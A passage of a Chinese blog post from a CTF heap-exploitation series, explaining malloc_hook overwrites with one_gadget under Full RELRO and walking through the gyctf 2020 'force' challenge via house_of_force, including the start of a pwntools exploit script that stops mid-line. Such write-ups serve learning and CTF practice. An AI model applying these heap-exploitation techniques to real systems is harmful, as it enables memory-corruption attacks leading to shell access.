pwn题堆利用的一些姿势 – free_hook
pwn题堆利用的一些姿势 – IO_FILE
pwn题堆利用的一些姿势 – setcontext
pwn题堆利用的一些姿势 – exit_hook
概述
在做堆题的时候,经常会遇到保护全开的情况,其中对利用者影响最大的是PIE保护和Full RELRO,NX保护和栈保护对堆利用来说影响都不大,一般利用也不会往这方面靠。开了PIE保护的话代码段的地址会变,需要泄露代码段基地址才能利用存储在bss段上的堆指针;开了Full RELRO的话,则意味着我们无法修改got表,导致无法修改其它函数got表指向system,进一步获取到shell。因此也就有了我这一系列文章的目的,在got表无法被修改时,我们往往利用的就是下面的一些hook+onegadget来达到我们的目的。
主要分为以下几个系列:malloc_hook --> free_hook --> IO_FILE --> setcontext。
初级必备姿势
下面介绍malloc_hook函数初级必备姿势,该函数是在malloc函数调用前会执行的钩子函数。在程序中,通常malloc_hook的函数地址对应值为0,也就是不会执行任何东西,我们在利用过程中将其覆盖为onegadget地址,这样再执行一次malloc就会执行onegadget。
接下来以2020年gyctf的一道pwn题为例,题目名为force,远程环境可以在BUUCTF上找到。该题目中给了明显的提示要我们使用house_of_force进行漏洞利用。对该利用方式不熟悉的读者可以参考我另外一篇博文,pwn题堆入门 – Large bin。
简单分析下题目,程序本身很简单,保护全开,main函数中给了两个功能,一个add,一个puts,然后puts本身也没啥用,无法泄露信息,所以这里只贴了add的代码。如下图所示,add函数实现堆分配,对malloc大小没有限制存在house_of_force利用。图中我高亮的地方也打印出来每次分配的堆地址,后面往堆写内容时也可以进行溢出,所以house_of_force的利用条件是满足的。
利用思路:正如前面所说这里开启了Full RELRO,got表无法被改写,再加上题目本身也没有给泄露函数地址的机会,所以想到利用hook+onegadget合情合理。这里我们确定使用malloc_hook,malloc_hook在libc中,需要泄露libc地址,这里采用分配非常大的内存块方式来进行泄露,原理参考这里 --> pwn题堆入门 – Large bin。接着就是正常的house_of_force攻击了,下面直接给出wp。
from pwn import *
ld_path = "/home/fanxinli/libc-so/lib-23/x86_64-linux-gnu/ld-2.23.so"
libc_path = "/home/fanxinli/libc-so/libc-2.23-64.so"
p = process([ld_path, "./gyctf_2020_force"], env={
"LD_PRELOAD":libc_path})
def add(size, content):
p.recvuntil("2:puts\n")
p.sendline("1")
p.recvuntil("size\n")
p.sendline(str(size))
p.recvuntil("bin addr ")
info = p.recvuntil("\n", drop=True)
# print(info)
info = int(info.decode("ISO-8859-1"), 16)
p.recvuntil("content\n")
p.send(content)
return info
# context.log_level = "debug"
# leak base + Top chunk addr
base = add(0x200000, "aaaa") + 0x200ff0
print("base ==> ", hex(base))
pad = cyclic(0x10)+p64(0)+p64